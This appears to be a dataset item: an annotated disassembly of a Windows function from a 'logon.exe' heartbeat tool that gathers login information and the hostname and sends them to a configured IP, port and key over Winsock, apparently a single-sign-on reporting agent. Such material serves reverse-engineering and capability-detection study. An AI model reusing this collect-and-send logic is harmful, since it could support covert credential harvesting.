Function at 0x405640
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push 0xffffffffffffffff
push 0x42520f
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x81c
push ebx
push ebp
push esi
push edi
call dword [sym.imp.KERNEL32.dll_AllocConsole]
mov esi, dword [sym.imp.KERNEL32.dll_GetStdHandle]
push 0xfffffffffffffff5
call esi
push 0xfffffffffffffff6
mov dword [0x432440], eax
call esi
or ebx, 0xffffffff
mov dword [0x432444], eax
mov edi, str.logon.exe_is_heart_beat_version_n
mov ecx, ebx
xor eax, eax
xor ebp, ebp
repne scasb al, byte es:[edi]
mov eax, dword [0x432440]
push ebp
not ecx
dec ecx
push ebp
push ecx
push str.logon.exe_is_heart_beat_version_n
push eax
call dword [sym.imp.KERNEL32.dll_WriteConsoleA]
push 0x432458
call fcn.00405f10
push str.Please_waiting_for_a_moment_..._n
call fcn.00407a00
mov cl, byte [esp + 0x1b]
add esp, 8
mov byte [esp + 0x38], cl
lea ecx, [esp + 0x38]
push ebp
call fcn.00404140
mov dl, byte [esp + 0x13]
push ebp
lea ecx, [esp + 0x18]
mov dword [esp + 0x838], ebp
mov byte [esp + 0x18], dl
call fcn.00404140
mov al, byte [esp + 0x13]
push ebp
lea ecx, [esp + 0x28]
mov byte [esp + 0x838], 1
mov byte [esp + 0x28], al
call fcn.00404140
lea ecx, [esp + 0x13]
mov byte [esp + 0x834], 2
push ecx
lea ecx, [esp + 0x4c]
call fcn.004069f0
lea edx, [esp + 0x37]
lea ecx, [esp + 0x58]
push edx
mov byte [esp + 0x838], 3
call fcn.004069f0
mov esi, dword [esp + 0x83c]
mov byte [esp + 0x834], 4
cmp esi, ebp
jle 0x405da6
cmp esi, 2
jle 0x4057ec
cmp esi, 4
jne 0x405da6
mov esi, dword [esp + 0x840]
mov ecx, ebx
xor eax, eax
mov edx, dword [esi + 4]
mov edi, edx
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push edx
lea ecx, [esp + 0x40]
call fcn.004045b0
mov edx, dword [esi + 8]
mov ecx, ebx
mov edi, edx
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push edx
lea ecx, [esp + 0x1c]
call fcn.004045b0
mov esi, dword [esi + 0xc]
mov ecx, ebx
mov edi, esi
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push esi
lea ecx, [esp + 0x2c]
call fcn.004045b0
mov eax, dword [0x4271a0]
lea ecx, [esp + 0x38]
push eax
push ebp
push ecx
lea ecx, [esp + 0x54]
call fcn.004048e0
mov edx, dword [0x4271a0]
lea eax, [esp + 0x24]
push edx
push ebp
push eax
lea ecx, [esp + 0x64]
call fcn.004048e0
mov eax, dword [0x432450]
lea ecx, [esp + 0x48]
push ecx
push eax
mov ecx, 0x432448
call fcn.00406a10
jmp 0x405870
call fcn.00406330
test eax, eax
je 0x40580f
push str.GetMatchAcIP_fail_n
call fcn.00407a00
add esp, 4
mov byte [esp + 0x834], 5
jmp 0x405dcb
mov edi, str.1773
mov ecx, ebx
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push str.1773
lea ecx, [esp + 0x1c]
call fcn.004045b0
cmp esi, 2
jne 0x405870
mov edx, dword [esp + 0x840]
mov ecx, esi
mov edi, 0x42db98
xor eax, eax
mov esi, dword [edx + 4]
repe cmpsb byte [esi], byte es:[edi]
je 0x40584c
sbb eax, eax
sbb eax, ebx
cmp eax, ebp
jne 0x405870
push ebp
push 3
push str.try_d__recv_d_n
mov dword [0x42d9d4], 3
mov dword [0x42d9d8], ebp
call fcn.00407a00
add esp, 0xc
push str.Load_finished..._n
call fcn.00407a00
mov eax, dword [esp + 0x1c]
add esp, 4
cmp eax, ebp
jne 0x40588a
mov eax, 0x4271ac
push eax
call fcn.0040ae19
mov ebp, eax
add esp, 4
test bp, bp
jne 0x405923
push 0xa4
push str._nERR:_command_params_format:_ip_port_key__ERR_NO:__d__n
call fcn.00407a00
add esp, 8
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
push 1
lea ecx, [esp + 0x5c]
mov byte [esp + 0x838], 7
call fcn.00404140
push 1
lea ecx, [esp + 0x4c]
mov byte [esp + 0x838], 2
call fcn.00404140
push 1
lea ecx, [esp + 0x28]
mov byte [esp + 0x838], 1
call fcn.00404140
push 1
lea ecx, [esp + 0x18]
mov byte [esp + 0x838], 0
call fcn.00404140
push 1
lea ecx, [esp + 0x3c]
mov dword [esp + 0x838], ebx
call fcn.00404140
mov eax, 0xfffffffd
jmp 0x405e23
push str.Check_PORT..._n
call fcn.00407a00
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x230]
rep stosd dword es:[edi], eax
mov ecx, 0x40
lea edi, [esp + 0x330]
rep stosd dword es:[edi], eax
mov ecx, 0x40
lea edi, [esp + 0x430]
rep stosd dword es:[edi], eax
mov ecx, 0x40
lea edi, [esp + 0x530]
rep stosd dword es:[edi], eax
mov ecx, 0x40
lea edi, [esp + 0x630]
rep stosd dword es:[edi], eax
mov ecx, 0x40
lea edi, [esp + 0x730]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x230]
push eax
call fcn.004083d0
add esp, 8
test eax, eax
je 0x4059bf
push eax
push 0xb0
push str._nERR_LINE:__d_Get_logins_info_failed__Ret:__d_n
call fcn.00407a00
add esp, 0xc
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov byte [esp + 0x834], 8
jmp 0x405a26
push str.GET_HOST_AD__UserName__SOURCE..._n
call fcn.00407a00
mov ecx, 0x3f
xor eax, eax
lea edi, [esp + 0x131]
mov byte [esp + 0x130], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea ecx, [esp + 0x130]
push 0x100
push ecx
stosb byte es:[edi], al
call fcn.004087a0
add esp, 0xc
test eax, eax
je 0x405a83
push 0xbb
push str._nERR:_Get_hostname_failed__ERR_NO:__d_n
call fcn.00407a00
add esp, 8
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov byte [esp + 0x834], 9
push 1
lea ecx, [esp + 0x5c]
call fcn.00404140
push 1
lea ecx, [esp + 0x4c]
mov byte [esp + 0x838], 2
call fcn.00404140
push 1
lea ecx, [esp + 0x28]
mov byte [esp + 0x838], 1
call fcn.00404140
push 1
lea ecx, [esp + 0x18]
mov byte [esp + 0x838], 0
call fcn.00404140
push 1
lea ecx, [esp + 0x3c]
mov dword [esp + 0x838], ebx
call fcn.00404140
xor eax, eax
jmp 0x405e23
push 0x42daa8
call fcn.00407a00
lea edx, [esp + 0x630]
lea eax, [esp + 0x130]
push edx
lea ecx, [esp + 0x234]
push eax
push ecx
call fcn.00408830
mov esi, eax
push esi
push str._n_winslogonMethod___d__n
call fcn.00407a00
add esp, 0x18
cmp esi, 1
je 0x405ae9
push 0xc8
push str._nERR:_Logon_method_is_err__ERR_NO:__d_n
call fcn.00407a00
add esp, 8
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov byte [esp + 0x834], 0xa
jmp 0x405dcb
push 0x42daa8
call fcn.00407a00
lea edx, [esp + 0x7c]
push edx
call fcn.00408970
push str.Send_login_info..._n
call fcn.00407a00
mov ecx, 0x10
xor eax, eax
lea edi, [esp + 0x94]
add esp, 0xc
rep stosd dword es:[edi], eax
mov ecx, 0x10
lea edi, [esp + 0xc8]
rep stosd dword es:[edi], eax
mov ecx, 6
lea edi, [esp + 0x10c]
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
lea edi, [esp + 0x22c]
mov ecx, ebx
xor eax, eax
lea edx, [esp + 0x88]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push ebp
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0xcc]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
mov word [esp + 0x6c], 2
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0x80]
lea edi, [esp + 0x330]
mov dword [esp + 0x12c], ecx
mov ecx, ebx
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov dword [esp + 0x10c], 1
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call sub.WS2_32.dll_htons
mov esi, dword [0x43244c]
mov word [esp + 0x6a], ax
cmp esi, dword [0x432450]
je 0x405cb7
mov eax, dword [esi + 0x14]
xor edi, edi
cmp eax, edi
mov ecx, 0x4271ac
je 0x405bd8
mov ecx, eax
mov eax, dword [esi + 4]
cmp eax, edi
jne 0x405be4
mov eax, 0x4271ac
push ecx
push eax
push str.sinforIP_s__key_s_n
call fcn.00407a00
mov eax, dword [esi + 0x14]
add esp, 0xc
cmp eax, edi
jne 0x405bff
mov eax, 0x4271ac
push 0x18
lea ecx, [esp + 0x110]
push eax
push ecx
call fcn.0040ac90
mov eax, dword [esi + 4]
add esp, 0xc
cmp eax, edi
jne 0x405c1e
mov eax, 0x4271ac
push eax
call sub.WS2_32.dll_inet_addr
mov dword [esp + 0x6c], eax
lea edx, [esp + 0x88]
lea eax, [esp + 0x78]
push edx
lea ecx, [esp + 0x6c]
push eax
push ecx
call fcn.004066e0
add esp, 0xc
test eax, eax
jne 0x405c65
push str.Logon_complete__n
call fcn.00407a00
mov eax, dword [0x432450]
add esi, 0x20
add esp, 4
cmp esi, eax
jne 0x405bc8
jmp 0x405cb9
push str.Logon_Failed__n
call fcn.00407a00
add esp, 4
push 1
lea ecx, [esp + 0x5c]
mov byte [esp + 0x838], 0xb
call fcn.00404140
mov ecx, dword [esp + 0x4c]
cmp ecx, edi
je 0x405ca9
mov al, byte [ecx - 1]
test al, al
je 0x405c9f
cmp al, 0xff
je 0x405c9f
dec al
mov byte [ecx - 1], al
jmp 0x405ca9
dec ecx
push ecx
call fcn.0040a312
add esp, 4
mov dword [esp + 0x4c], edi
mov dword [esp + 0x50], edi
mov dword [esp + 0x54], edi
jmp 0x405d19
xor edi, edi
mov eax, dword [esp + 0x83c]
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
cmp eax, 4
jne 0x405cec
push 0x3e8
call esi
lea edx, [esp + 0x88]
lea eax, [esp + 0x78]
push edx
lea ecx, [esp + 0x6c]
push eax
push ecx
call fcn.00406630
add esp, 0xc
push 0xbb8
call esi
push 1
lea ecx, [esp + 0x5c]
mov byte [esp + 0x838], 0xc
call fcn.00404140
push 1
lea ecx, [esp + 0x4c]
mov byte [esp + 0x838], 2
call fcn.00404140
mov ecx, dword [esp + 0x28]
cmp ecx, edi
je 0x405d3d
mov al, byte [ecx - 1]
test al, al
je 0x405d33
cmp al, 0xff
je 0x405d33
dec al
mov byte [ecx - 1], al
jmp 0x405d3d
dec ecx
push ecx
call fcn.0040a312
add esp, 4
mov ecx, dword [esp + 0x18]
mov dword [esp + 0x28], edi
cmp ecx, edi
mov dword [esp + 0x2c], edi
mov dword [esp + 0x30], edi
je 0x405d6d
mov al, byte [ecx - 1]
test al, al
je 0x405d63
cmp al, 0xff
je 0x405d63
dec al
mov byte [ecx - 1], al
jmp 0x405d6d
dec ecx
push ecx
call fcn.0040a312
add esp, 4
mov ecx, dword [esp + 0x3c]
mov dword [esp + 0x18], edi
cmp ecx, edi
mov dword [esp + 0x1c], edi
mov dword [esp + 0x20], edi
je 0x405da2
mov al, byte [ecx - 1]
test al, al
je 0x405d98
cmp al, 0xff
je 0x405d98
dec al
mov byte [ecx - 1], al
xor eax, eax
jmp 0x405e23
dec ecx
push ecx
call fcn.0040a312
add esp, 4
xor eax, eax
jmp 0x405e23
push 0x97
push str._nERR:_command_params_format:_ip_port_key__ERR_NO:_d__n
call fcn.00407a00
add esp, 8
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
mov byte [esp + 0x834], 6
push 1
lea ecx, [esp + 0x5c]
call fcn.00404140
push 1
lea ecx, [esp + 0x4c]
mov byte [esp + 0x838], 2
call fcn.00404140
push 1
lea ecx, [esp + 0x28]
mov byte [esp + 0x838], 1
call fcn.00404140
push 1
lea ecx, [esp + 0x18]
mov byte [esp + 0x838], 0
call fcn.00404140
push 1
lea ecx, [esp + 0x3c]
mov dword [esp + 0x838], ebx
call fcn.00404140
mov eax, ebx
mov ecx, dword [esp + 0x82c]
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x828
ret